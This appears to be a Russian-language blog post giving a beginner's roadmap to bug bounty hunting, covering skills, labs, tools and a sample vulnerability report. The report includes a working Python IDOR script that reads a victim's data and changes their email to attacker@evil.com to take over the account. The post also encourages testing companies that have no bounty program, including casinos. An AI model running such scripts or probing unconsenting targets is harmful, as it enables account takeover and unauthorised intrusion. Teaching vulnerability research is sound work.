🎓 С чего начать в баг-хантинге: roadmap от нуля до первого bounty
Привет, будущие хакеры! 💻 Вижу, ты устал смотреть на YouTube видосы “Как стать хакером за 24 часа” и решил реально въехать в bug bounty? Красавчик!
Сразу жёсткая правда:
• Первый bounty придёт НЕ через неделю (скорее через 3-6 месяцев)
• Потратишь минимум ₽50k на инструменты и обучение
• Первые 2-3 месяца будешь находить только дубликаты (это норма!)
• НО если не сольёшься, через год будешь в топ-10% и кэшить ₽300k+/месяц
📚 Этап 0: База (1-2 месяца)
Что нужно знать перед первым багом:
- HTTP/HTTPS протокол
# Не просто "открыл сайт", а понимание:
- Что такое GET/POST/PUT/DELETE
- Заголовки (Cookie, Authorization, Content-Type)
- Status codes (200, 301, 403, 500)
- Как работают сессии и токены
# Где учить (бесплатно):
→ MDN Web Docs: HTTP
→ YouTube: "HTTP explained" (любой нормальный ролик)
→ Практика: открой DevTools в Chrome (F12) → вкладка Network
- Burp Suite (твой лучший друг)
# Скачиваешь Community Edition (бесплатно):
https://portswigger.net/burp/communitydownload
# Учишься:
- Настраивать proxy (браузер → Burp → сервер)
- Перехватывать запросы
- Менять их на лету
- Repeater, Intruder, Decoder
# Где учить:
→ PortSwigger Academy: Getting Started
→ YouTube: "Burp Suite tutorial for beginners"
→ За неделю практики будешь уверенно юзать
- Базовый Linux
# Минимум команд:
cd, ls, cat, grep, curl, wget, chmod, nano
# Зачем:
- Большинство инструментов работают на Linux
- Автоматизация через bash скрипты
- VPS для continuous scanning
# Где учить:
→ Ставишь Ubuntu в VirtualBox
→ Проходишь любой "Linux basics" курс (1-2 недели)
→ Или WSL2 если на Windows
- Python или Bash (для автоматизации)
# Зачем нужен Python в bug bounty:
- Написать exploit
- Автоматизировать brute-force
- Парсить данные
- Свои инструменты (как мой сканер на Go)
# Минимальная программа на Python:
import requests
r = requests.get('https://target.com')
print(r.status_code)
print(r.text)
# Этого хватит на первые 3 месяца!
- JavaScript (читать, не писать)
// Зачем:
// - 80% багов сидят в JS коде на клиенте
// - API endpoints часто хардкодят в JS
// - Ключи, токены, логика — всё в JS
// Что нужно уметь:
// - Открыть DevTools → Sources
// - Найти main.js, app.js
// - Читать и понимать базовый синтаксис
// - Искать grep'ом: "api", "key", "password"
// Где учить:
→ Codecademy: Intro to JavaScript (бесплатная часть)
→ 2 недели — и готов
🎯 Этап 1: Теория + Лабы (2-3 месяца)
Главное правило: НЕ лезь в реальные программы, пока не пройдёшь лабки!
Почему:
• Наделаешь ошибок → бан на платформе
• Не поймёшь, что ищешь → только дубликаты
• Демотивация → бросишь через месяц
План действий:
- PortSwigger Web Security Academy (основа основ)
https://portswigger.net/web-security
Обязательные разделы (в порядке важности):
✅ SQL Injection (3-4 дня)
- Union attacks
- Blind SQLi
- Time-based
✅ Cross-Site Scripting (XSS) (5-7 дней)
- Reflected XSS
- Stored XSS
- DOM-based XSS
- XSS через файлы
✅ Authentication (4-5 дней)
- Password-based
- Multi-factor
- Session management
✅ Access Control (3-4 дня)
- Vertical privilege escalation
- Horizontal privilege escalation
- IDOR
✅ Server-Side Request Forgery (SSRF) (3 дня)
- Basic SSRF
- Blind SSRF
- SSRF to RCE chains
✅ Business Logic Vulnerabilities (7-10 дней)
- Самое важное!
- Race conditions
- Payment manipulation
- Прочие логические баги
Итого: ~30-40 дней учёбы
Мой подход к лабам:
1. Смотрю теорию (читаю статью)
2. Пробую лабку сам (без подсказок)
3. Если застрял >1 часа → смотрю solution
4. Повторяю лабку с нуля, но уже понимая логику
5. Записываю ключевые моменты в свой cheat sheet
Результат: прошёл 80% лаб PortSwigger за 2 месяца
- HackTheBox / TryHackMe (практика)
# HackTheBox Academy (бесплатные модули):
→ Introduction to Web Applications
→ Using Web Proxies
→ Attacking Web Applications with Ffuf
→ File Upload Attacks
→ SQL Injection Fundamentals
# TryHackMe (paths для новичков):
→ Complete Beginner Path
→ Web Fundamentals
→ OWASP Top 10
# Мой совет:
Выбери ОДНУ платформу (я брал PortSwigger + THM)
Не прыгай между всеми — доделай до конца!
- YouTube (бесплатный контент)
Мои любимые каналы:
🔥 STÖK (bug bounty tips)
🔥 InsiderPhD (beginner-friendly)
🔥 NahamSec (live recon)
🔥 LiveOverflow (глубокий разбор)
🔥 IppSec (HTB walkthroughs)
Смотри минимум 1 видос в день перед сном!
🛠️ Этап 2: Инструменты (параллельно с лабами)
Must-have набор:
# === RECON ===
# Subfinder (поиск поддоменов)
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
# Httpx (проверка живых хостов)
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
# Nuclei (автоматическое сканирование)
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# === FUZZING ===
# Ffuf (directory bruteforce)
go install github.com/ffuf/ffuf@latest
# Wfuzz (parameter fuzzing)
pip install wfuzz
# === EXPLOITATION ===
# SQLMap (SQL injection)
git clone https://github.com/sqlmapproject/sqlmap.git
# JWT_Tool (JWT testing)
git clone https://github.com/ticarpi/jwt_tool
# === MOBILE ===
# Jadx (APK decompiler)
# MobSF (mobile security framework)
# === UTILITY ===
# Amass (advanced subdomain enum)
# Nmap (port scanning)
# Gau (fetch known URLs)
Мой minimal setup на старте:
1. Burp Suite (proxy)
2. Subfinder + Httpx (recon)
3. Nuclei (быстрое сканирование)
4. SQLMap (SQLi)
5. Браузер + DevTools
Этого хватит на первые 6 месяцев!
💰 Этап 3: Первая программа (месяц 3-4)
Где искать первый bounty:
❌ НЕ иди сюда на старте:
• Google VRP (10,000+ хантеров)
• Facebook (переполнена)
• Apple (нужен инвайт)
• Любые программы с >500 участников
✅ Иди сюда:
- Российские стартапы (прямой контакт)
Почему:
- Мало конкуренции (западные хантеры не знают)
- Быстрые выплаты
- Можно писать на русском
- Личный контакт с security team
Где искать:
→ vc.ru/services (новые сервисы)
→ Spark.ru (раунды инвестиций)
→ Habr (запуски продуктов)
Как контачить:
1. Находишь баг
2. Пишешь на security@company.ru
3. Предлагаешь responsible disclosure
4. Договариваешься о bounty
Мой опыт: 40% российских компаний платят даже без программы!
- Небольшие bug bounty программы
Фильтры на HackerOne/Bugcrowd:
✅ Launched <6 months (свежие баги)
✅ <100 researchers (мало конкуренции)
✅ Scope: Web + API + Mobile (широкий attack surface)
✅ Min bounty >$500 (адекватные выплаты)
Примеры ниш:
- SaaS для B2B (скучно для масс, но баги есть)
- Региональные e-commerce
- Финтех стартапы (высокие bounty!)
- EdTech платформы
- Букмекеры и казино (моя любимая ниша)
Почему топ:
- Высокие bounty (₽500k-₽3M за критикал)
- Мало хантеров (многие боятся "серой зоны")
- Много логических багов (прomo codes, race conditions)
- Быстрые выплаты (часто в крипте)
Риски:
- Не все имеют официальные программы
- Нужно писать напрямую
- Юридическая неопределённость в РФ
Мой результат: ₽4.2M за 8 месяцев на БК/казино
🎯 Этап 4: Первый bug hunt (недели, не дни!)
Реалистичный timeline первого бага:
День 1-3: Recon
└─ Subfinder → 200 поддоменов
└─ Httpx → 80 живых
└─ Nuclei → 15 low severity (игнор)
└─ Ручной обход главного сайта
День 4-7: Изучение функционала
└─ Регистрация/логин (как работает auth?)
└─ Профиль пользователя (что можно менять?)
└─ Платежи (есть ли promo codes?)
└─ API endpoints (через DevTools → Network)
День 8-14: Целенаправленное тестирование
└─ Тестирую IDOR везде (меняю user_id в запросах)
└─ Ищу race conditions в критичных операциях
└─ Проверяю access control (user → admin?)
└─ Анализирую JavaScript (ищу API keys, endpoints)
День 15-21: Находка!
└─ Нашёл баг → пишу PoC
└─ Делаю видео/скриншоты
└─ Составляю репорт
└─ Отправляю
День 22-90: Ожидание
└─ Triaged: через 7-14 дней
└─ Fixed: через 30-60 дней
└─ Bounty: через 60-90 дней
ПЕРВЫЙ BOUNTY! 🎉
📝 Этап 5: Killer репорт (важнее самого бага!)
Плохой репорт (90% новичков):
Title: IDOR found
Description:
I found IDOR in /api/user endpoint
Steps:
1. Change user_id from 1 to 2
2. See other user data
Impact: High
Please fix.
Хороший репорт (топ-10%):
## Title
Horizontal Privilege Escalation via IDOR in User Profile API
## Severity
High (CVSS 8.1)
## Summary
The `/api/v2/user/profile` endpoint does not properly validate the
`user_id` parameter, allowing any authenticated user to view and modify
other users' personal information including phone numbers, addresses,
and payment methods.
## Affected Endpoints
- GET /api/v2/user/profile?user_id={id}
- PUT /api/v2/user/profile
- DELETE /api/v2/user/payment-methods
## Steps to Reproduce
### Environment
- Target: https://target.com
- Browser: Chrome 120
- Burp Suite: 2023.11
### Detailed Steps
1. **Create two test accounts:**
- Account A: test1@example.com / Pass123!
- Account B: test2@example.com / Pass123!
2. **Login as Account A and capture the request:**
GET /api/v2/user/profile?user_id=12345 HTTP/1.1 Host: target.com Cookie: session_token=abc123…
3. **Modify the user_id parameter to Account B's ID (67890):**
GET /api/v2/user/profile?user_id=67890 HTTP/1.1 Host: target.com Cookie: session_token=abc123…
4. **Response contains Account B's **
{ “user_id”: 67890, “email”: “test2@example.com”, “phone”: “+79991234567”, “address”: “Moscow, Red Square 1”, “payment_methods”: … }
5. **Further exploitation - modify other user's **
PUT /api/v2/user/profile HTTP/1.1 Content-Type: application/json
{ “user_id”: 67890, “email”: “attacker@evil.com” # Hijack email! }
## Proof of Concept
**Video demonstration:**
https://drive.google.com/file/d/xxxxx (2 minutes, unlisted)
**Screenshots:**
1. account_a_request.png - Original request from Account A
2. account_b_data.png - Account B's data visible to Account A
3. email_hijack.png - Successfully changed Account B's email
**Python exploit script:**
import requests
def exploit_idor(session_token, target_user_id): headers = {‘Cookie’: f’session_token={session_token}’}
# Fetch victim's data
r = requests.get(
f'https://target.com/api/v2/user/profile?user_id={target_user_id}',
headers=headers
)
print(f"[+] Victim {r.json()}")
# Modify victim's email
payload = {
'user_id': target_user_id,
'email': 'attacker@evil.com'
}
r = requests.put(
'https://target.com/api/v2/user/profile',
json=payload,
headers=headers
)
print(f"[+] Account hijacked: {r.status_code}")
Usage:
exploit_idor(‘abc123…’, 67890)
## Impact
### Business Impact
- **50,000+ active users** at risk of data exposure
- Personal information leakage (phone, address, payment details)
- Account takeover via email modification
- Potential GDPR violation (€20M fine)
- Reputation damage
### Attack Scenarios
**Scenario 1: Mass data harvesting**
Attacker can enumerate all user IDs (12345 to 99999) and collect:
- Email addresses for phishing
- Phone numbers for SIM swap attacks
- Addresses for physical targeting
**Scenario 2: Account takeover**
1. IDOR to change victim's email to attacker's
2. Initiate password reset
3. Reset link goes to attacker's email
4. Full account takeover
5. Access to payment methods, order history, etc.
**Scenario 3: Financial fraud**
- Modify victim's payment methods
- Place orders using stolen payment data
- Change delivery address to attacker's location
## Root Cause
The application performs authentication but fails to implement proper
authorization checks. The backend trusts the `user_id` parameter from
the client without verifying if the authenticated user has permission
to access that specific user's data.
## Remediation
### Immediate Fix (deploy today)
Before (vulnerable):
def get_user_profile(request): user_id = request.GET‘user_id’ # Trusts client input! return User.objects.get(id=user_id)
After (secure):
def get_user_profile(request): # Use session user, not client parameter user_id = request.session‘authenticated_user_id’
# Or if parameter needed, validate ownership:
requested_id = request.GET['user_id']
if requested_id != request.session['authenticated_user_id']:
if not request.user.is_admin:
raise PermissionDenied("Not authorized")
return User.objects.get(id=requested_id)
### Long-term Recommendations
- Implement role-based access control (RBAC)
- Use indirect object references (map public IDs to internal IDs)
- Add logging/monitoring for cross-user access attempts
- Conduct security code review for similar patterns
- Add automated tests for authorization checks
## References
- OWASP: Broken Access Control
https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- CWE-639: Authorization Bypass Through User-Controlled Key
https://cwe.mitre.org/data/definitions/639.html
- PortSwigger: Access Control Vulnerabilities
https://portswigger.net/web-security/access-control
## Timeline
- 2025-11-20 14:30 MSK: Vulnerability discovered
- 2025-11-20 18:45 MSK: Initial report submitted
- 2025-11-22 18:00 MSK: This detailed report
## Testing Accounts (for verification)
- Account A: test1@example.com / Pass123!
- Account B: test2@example.com / Pass123!
Please let me know if you need any additional information or
clarification. I'm available to assist with remediation if needed.
🚀 Roadmap: Timeline от 0 до первого bounty
Месяц 1-2: Обучение
Неделя 1-2: HTTP, Burp Suite, Linux basics
Неделя 3-4: Python основы, JavaScript чтение
Неделя 5-8: PortSwigger Academy (SQLi, XSS, Auth, Access Control)
Результат: Понимаешь как работают веб-приложения и основные баги
Заработок: ₽0
Месяц 3-4: Практика на лабах
Неделя 9-12: PortSwigger лабы (SSRF, XXE, Business Logic)
Неделя 13-16: HackTheBox / TryHackMe machines
Результат: Уверенно эксплуатируешь известные уязвимости
Заработок: ₽0
Месяц 5-6: Первые попытки
Неделя 17-20: Выбираешь 2-3 небольшие программы
Неделя 21-24: Глубокий recon + ручное тестирование
Результат: Первый баг! (обычно IDOR или логический)
Заработок: ₽50k-₽200k (Low/Medium severity)
Месяц 7-12: Прокачка
Продолжаешь охоту, учишься на ошибках
Находишь 1-2 бага в месяц
Улучшаешь качество репортов
Результат: Стабильные находки, первый High/Critical
Заработок: ₽100k-₽500k в месяц
Год 2+: Профессиональный уровень
Специализация в нише (mobile, API, логика)
Приватные программы, ретейнеры
Консалтинг, обучение
Результат: Топ-10% хантеров
Заработок: ₽500k-₽2M+ в месяц
⚠️ Типичные ошибки новичков
- Прыгают сразу в баг-хантинг без лаб
Результат: 3 месяца дубликатов → демотивация → бросают
Решение: 2-3 месяца ТОЛЬКО на лабки, потом в прод
- Используют только сканеры
Nuclei нашёл: 5 Low severity
Руками можно найти: 1 Critical
Сканеры = 20% работы, руки = 80%
- Тестируют переполненные программы
Google VRP: 10,000 хантеров
Стартап: 50 хантеров
Где больше шансов? 😏
- Плохие репорты
"I found XSS" = Informational, ₽0
Detailed PoC + Impact = High, ₽500k
Качество репорта = качество bounty
- Сдаются после первого дубликата
60% новичков бросают после 3 месяцев
Топ-10% пережили первый год
Persistence wins!
💡 Мои топ-советы для быстрого старта
- Фокус на одной нише
Не пытайся быть экспертом во всём сразу:
Выбери:
- Web applications (XSS, SQLi, IDOR)
- API security (logic bugs, auth bypass)
- Mobile apps (reverse engineering)
- Cloud misconfigs (AWS, Azure)
Стань мастером в одном → легче находить баги
- Автоматизируй рутину
# Мой скрипт для быстрого recon:
#!/bin/bash
TARGET=$1
subfinder -d $TARGET -silent | httpx -silent | nuclei -silent -severity critical,high | notify -silent
# Запускаю на 10 целей одновременно
# Уведомления в Telegram
# Освобождает время для ручного тестирования
- Учись на чужих находках
Каждый день читай 1-2 публичных writeup'а:
Где искать:
→ hackerone.com/hacktivity
→ medium.com/tag/bug-bounty
→ twitter.com (ищи #bugbountytip)
Записывай интересные техники в свой cheat sheet
- Networking в комьюнити
Вступи в:
- Discord серверы (BugBountyForum, Nahamsec)
- Telegram каналы (БаунтиХантеры РФ)
- Twitter (follow топовых хантеров)
Помогаешь новичкам → karma возвращается
Коллаборации → больше багов
Рефералы → % от выплат
- Документируй всё
Веди журнал:
- Дата, цель, что тестил
- Найденные баги (даже дубликаты)
- Новые техники
- Потраченное время
Анализируй раз в месяц:
- Что работает?
- Где тратишь время впустую?
- Как улучшить эффективность?
💰 Реалистичные ожидания по деньгам
Месяц 1-6 (обучение + первые попытки):
Средний доход: ₽0-₽50k/месяц
Реальность: Больше тратишь чем зарабатываешь
Инвестиции: Курсы, инструменты, VPS = ₽30k-₽50k
Но это ИНВЕСТИЦИЯ в будущее!
Месяц 7-12 (начинающий хантер):
Средний доход: ₽50k-₽200k/месяц
Находки: 1-3 бага в месяц (Low/Medium)
Hourly rate: ₽500-₽1,000/час
Можно покрыть расходы, но жить сложно
Год 2 (опытный хантер):
Средний доход: ₽200k-₽500k/месяц
Находки: 3-5 багов (High/Critical)
Hourly rate: ₽2,000-₽5,000/час
Можно жить с этого!
Год 3+ (профессионал):
Средний доход: ₽500k-₽2M+/месяц
Источники:
- Bug bounty: 60%
- Консалтинг: 25%
- Контент/курсы: 15%
Топ-1% зарабатывают ₽5M+/месяц
🎓 Checklist: готов ли ты к первому bug bounty?
Пройди самопроверку:
Технические навыки:
□ Понимаю HTTP/HTTPS протокол
□ Умею пользоваться Burp Suite
□ Знаю базовый Linux (cd, grep, curl)
□ Могу написать простой скрипт на Python
□ Читаю JavaScript код
Знание уязвимостей:
□ Понимаю как работает SQLi
□ Могу найти и эксплуатировать XSS
□ Знаю что такое IDOR и как искать
□ Понимаю SSRF и его impact
□ Умею находить logic bugs
Практический опыт:
□ Прошёл минимум 20 лаб на PortSwigger
□ Взломал 5+ машин на HTB/TryHackMe
□ Написал хотя бы 1 exploit script
□ Знаю как писать качественный репорт
Софт скилы:
□ Готов к дубликатам и отказам
□ Могу потратить неделю на одну цель
□ Не жду быстрых денег
□ Понимаю юридические риски
Если 15+ галочек → GO! 🚀
Если <10 → ещё 1-2 месяца лаб
Удачи в баг-хантинге, не сдавайся после первых дубликатов! 💪🔥
#дневникхакера #bugbounty #roadmap #какначать #обучениехакингу #этичныйхакинг #bugbountytips #новичкам #кибербезопасность #первыйбаунти #учимсяхакингу #webскюрити
